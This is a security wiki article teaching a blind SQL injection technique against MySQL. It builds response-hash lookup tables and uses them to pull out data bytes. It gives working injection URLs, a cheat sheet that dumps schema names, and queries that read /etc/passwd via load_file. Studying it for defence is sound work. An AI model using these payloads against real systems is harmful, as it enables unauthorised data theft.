Difference between revisions of "SQL injection/Blind/Extraction/Precomputation"

Latest revision as of 20:06, 5 May 2013

Comparative precomputation attacks are a form of blind SQL injection exploitation, a two-part process in which the attacker crawls a particular sequence of data normally retrieved by the vulnerable input and uses the output to precompute a table for future comparison. Once the table has been precomputed, it is possible to "lookup" hexadecimal, binary, and ascii values within it. In some cases it is possible to retrieve multiple bytes per request from a remote database with blind injection by utilizing this technique.

This technique is much more efficient for blind data retrieval than boolean enumeration, which requires as many as 8 HTTP requests to obtain the value of a single byte. Comparative precomputation is the quietest and fastest known blind SQL injection technique.

The comparative precomputation attack

This attack heavily relies on the remote dataset for successful exploitation and thus its rate of data retrieval is more variable than other methods.

Precomputation using md5 hashing is done in the proof of concept for performance and efficiency purposes. At the very least, a comparative test will be required - without hashing, it is expected that ram usage may skyrocket. The more complex a remote site is (random content generation, etc), the more difficult this type of sql injection attack becomes to automate.

Theory

Exploitation is a two part process:

1. Precomputing the comparison data
2. Data extraction

The example in this section (Theory) is a more basic explaination to prepare the reader's comprehension of the more advanced explanation later and as such will be unlikely to exploit successfully.

Building lookup tables

• Take the following query

  $query = "select * from articles where id=" . $_GET['id']; 

• Being executed at the following uri:

 /articles.php?id=1

• Assume, for one moment, that there are 255 rows with sequential id's starting at 1 in the articles table. It will rarely ever be this way in the wild.

• First, the attacker would crawl all of the pages at id's 1-255, saving them in a hashtable with the associated id used to generate the response.

Extracting a cell

• To determine the ascii code of the first character of the sql version, an attacker might visit:

 /articles.php?id=ascii(substring(version() from 1 for 1))

The attacker would then take a checksum of the returned html data, and lookup the value of its corresponding numeric id which was saved during lookup table creation. This numeric id's value now corresponds with the ascii value of the first byte of the version. Following until the end of the cell, one could simply move to the next character:

 /articles.php?id=ascii(substring(version() from 2 for 1))

Extracting the length of a cell

Suppose the goal in this situation is to obtain the length of the string returned by SQL's native version() function. In some situations the database will treat the result of length() as a string or integer interchangably, however in some cases, casting may be required.

The simple method for length determination of the version, or any cell is to treat the length as a string; for example an attacker may visit:

 /articles.php?id=length((select length(version())))

This is because it is highly unlikely that the result of the version query will be longer than (9 * 10 ^ 255). Once the length of the length is determined by treating the length's length as a single byte and looking it up in the table, an attacker could grab single bytes of the length by their ascii codes:

 /articles.php?id=ascii(substring(length(version()),1,1))

An attacker would then treat the length as a single cell being extracted until its value is determined.

Surpassing obstacles

With the above example, exploitation in the wild is extremely unlikely, due to the fact that the id's in the articles table may not in fact be sequential - there may not even be 255 of them! Or what if the index column for the where clause is a string? What if there are duplicates in the retrieved data?

Non-sequential identifiers

Different SQL services provide different interfaces for solving this problem. This is where it becomes important to know the specific column name and table name for the injectable query.

Starting with the original example query:

  $query = "select * from articles where id=" . $_GET['id']; 

The important bits are:

• Current column name: id
• Current table name: articles

Assuming that all of the articles are unique and that the id's are non-sequential, it is possible to retrieve 255 ordered results anyway.

Lookup Table

An attacker would visit the following url's during the lookup table's byte discovery (only 3 are shown):

 /articles.php?id=(select id from (select id,@v:=@v+1 as pos from articles y join (select @v:=0) k limit 255) x where pos=1)
 /articles.php?id=(select id from (select id,@v:=@v+1 as pos from articles y join (select @v:=0) k limit 255) x where pos=2)
 ...
 /articles.php?id=(select id from (select id,@v:=@v+1 as pos from articles y join (select @v:=0) k limit 255) x where pos=255)

Data extraction

Iterating until the length of the version, an attacker would use the following url's to extract bytes from the string:

1. /articles.php?id=(select id from (select id,@v:=@v+1 as pos from articles y join (select @v:=0) k limit 255) x where pos=ascii(substring(version() from 1 for 1)))
2. /articles.php?id=(select id from (select id,@v:=@v+1 as pos from articles y join (select @v:=0) k limit 255) x where pos=ascii(substring(version() from 2 for 1)))

String column index

Using the following example query:

  $query = "select * from articles where title='" . $_GET['title'] . "'"; 

And the following uri:

 /articles.php?title=vulnerable_site

An attacker is able to change title to the following:

 vulnerable_site' and 1=5 or title=([mapping or extraction query]) #' 

When performing web-based attacks, the "#" character must be URL encoded to %23 in the client browser to prevent the HTTP protocol from treating it as an HTML anchor.

Duplicate http responses

The best way to avoid duplicate http responses is to modify the middle select query containing the join to add a group by clause. If the return data is grouped by the resulting display column containing duplicate data before the row counter is applied, it will force the return data to be unique so that 255 unique checksums may be collected.

Query cheat sheet

Byte discovery table generation query (iterating over each row for 0..255) :

  (SELECT [COLUMN] FROM
    (SELECT [COLUMN],@r:=@r+1 AS pos FROM [TABLE] c JOIN (SELECT @r:=0) r LIMIT 255) x
  WHERE pos=$counter)

Data extraction (iterating over each byte to get its value for 1..length(cell)):

  (SELECT [COLUMN] FROM
    (SELECT [COLUMN],@r:=@r+1 AS pos FROM [TABLE] c JOIN (SELECT @r:=0) r LIMIT 255) x
    WHERE pos=ascii(SUBSTRING(
        (SELECT group_concat(TABLE_NAME,0x2e,column_name) FROM information_schema.columns WHERE table_schema=DATABASE())
    FROM $counter FOR 1))
  );

Getting past the byte

So far it is proven that a single byte of data can be extracted. In review:

• A hashtable must be built using resultset rows 0-255 to retrieve the value of a byte in a single request.
• This number of rows is 256 (0-255 starting from 0 is 256 values) because 2^8=256 and 8 bits are in a byte.

Fortunately for exploit developers, most SQL services provide multiple ways of converting string or other data to its binary format.

Binary optimization

This means that if there are even as few as 3 rows in the table, combined with a null identifier row (most likely a blank response; the same response would be obtained with a nonexistent index being placed into the where clause) there are 4 obtainable values - the same number of values provided by two bits (1/4 of 1 byte). This would allow for the retrieval of 1/4 of 1 byte per request - still faster than boolean enumeration's single bit per request.

In other cases, it also means that if there are 65,355 rows in the affected result set, it is possible to extract two bytes, a full word - per request. Due to lookup table construction, this is only a performance optimization over extracting a single byte under the circumstance that the attacker intends to retreive more than 65 kilobytes of data from the remote database (an optimization nonetheless).

Sizing the hashtable

The largest possible value to retrieve in a single request is equal to the result of the following query:

 SELECT COUNT(context_column) FROM context_table

So in the `articles' example, the result of:

 SELECT COUNT(id)+1 FROM articles

This is the maximum bitwise or binary value we can obtain in a single request (called context_result_count).

• The following equation can be used to determine the maximum bits available to extract in a single request (max_bits):

n        = log(context_result_count) / log(2)
max_bits = n - (n % 1)

Response extraction

See Also: bitwise math

To get at binary data, the hexadecimal value of the concatenated first two bytes in the version() string is casted to an integer for extraction:

 
 mysql> SELECT conv(hex(substr(version() FROM 1 FOR 2)),16,10);
 +-------------------------------------------------+
 | conv(hex(substr(version() FROM 1 FOR 2)),16,10) |
 +-------------------------------------------------+ 
 | 13614                                           |
 +-------------------------------------------------+
 1 ROW IN SET (0.00 sec)
 

Suppose there was only enough room for 10 bits. When selecting 2 bytes, 16 bits are retrieved. To shift the value of the first sixteen bits by 6 bits to the right (grabbing only the first 10 bits):

 mysql> SELECT conv(hex(substr(version() FROM 1 FOR 2)),16,10) >> 0x6;
 +--------------------------------------------------------+
 | conv(hex(substr(version() FROM 1 FOR 2)),16,10) >> 0x6 |
 +--------------------------------------------------------+
 |                                                    212 |
 +--------------------------------------------------------+
 1 ROW IN SET (0.01 sec)

To get the next ten bits, (bits 11 through 20), we start at the third bit (shift left 0x2) in the second byte of the string, continuing until halfway through the third byte (shift right 0x4, shift right 0x2 to fix shift left):

  mysql> SELECT conv(hex(substr(version() FROM 2 FOR 2)),16,10) << 0x2 >> 0x6;
 +---------------------------------------------------------------+
 | conv(hex(substr(version() FROM 2 FOR 2)),16,10) << 0x2 >> 0x6 |
 +---------------------------------------------------------------+
 |                                                           739 |
 +---------------------------------------------------------------+
 1 ROW IN SET (0.00 sec)

And so on and so forth.

Compression

It is possible to utilize server-side compression before extracting the binary data from the database, then decompress it locally:

  mysql> SELECT uncompress(compress(version()));
  +---------------------------------+
  | uncompress(compress(version())) |
  +---------------------------------+
  | 5.1.61-0+squeeze1               |
  +---------------------------------+
  1 ROW IN SET (0.00 sec)

On smaller pieces of data, this can actually lose out on performance:

  mysql> SELECT LENGTH(compress(version()));
  +-----------------------------+
  | LENGTH(compress(version())) |
  +-----------------------------+
  |                          29 |
  +-----------------------------+
  1 ROW IN SET (0.00 sec)
 
  mysql> SELECT LENGTH(version());
  +-------------------+
  | LENGTH(version()) |
  +-------------------+
  |                17 |
  +-------------------+
  1 ROW IN SET (0.00 sec)

However on larger pieces of data, the compression can significantly increase efficiency:

  mysql> SELECT LENGTH(load_file('/etc/passwd'));
  +----------------------------------+
  | LENGTH(load_file('/etc/passwd')) |
  +----------------------------------+
  |                             1225 |
  +----------------------------------+
  1 ROW IN SET (0.00 sec)
 
  mysql> SELECT LENGTH(compress(load_file('/etc/passwd')));
  +--------------------------------------------+
  | LENGTH(compress(load_file('/etc/passwd'))) |
  +--------------------------------------------+
  |                                        535 |
  +--------------------------------------------+
  1 ROW IN SET (0.00 sec)

Proof of concept

Main article: mysqli-blindutils

End user is responsible for his or her own actions when using this software. It is a crime to use this software against any system that you do not own without written consent.

Video

http://ascii.io/a/1588

Download

• sqli-hap.py : source - direct download - download mysqli-blindutils

Related

Tools & Articles

• A walkthrough - questions can be asked here!
• Timing based extraction
• Blind SQL injection
• SQL injection
• mysqli-blindutils
• SQL backdoors

Further reading

• SQL orientation
• MySQL
• MySQL Troubleshooting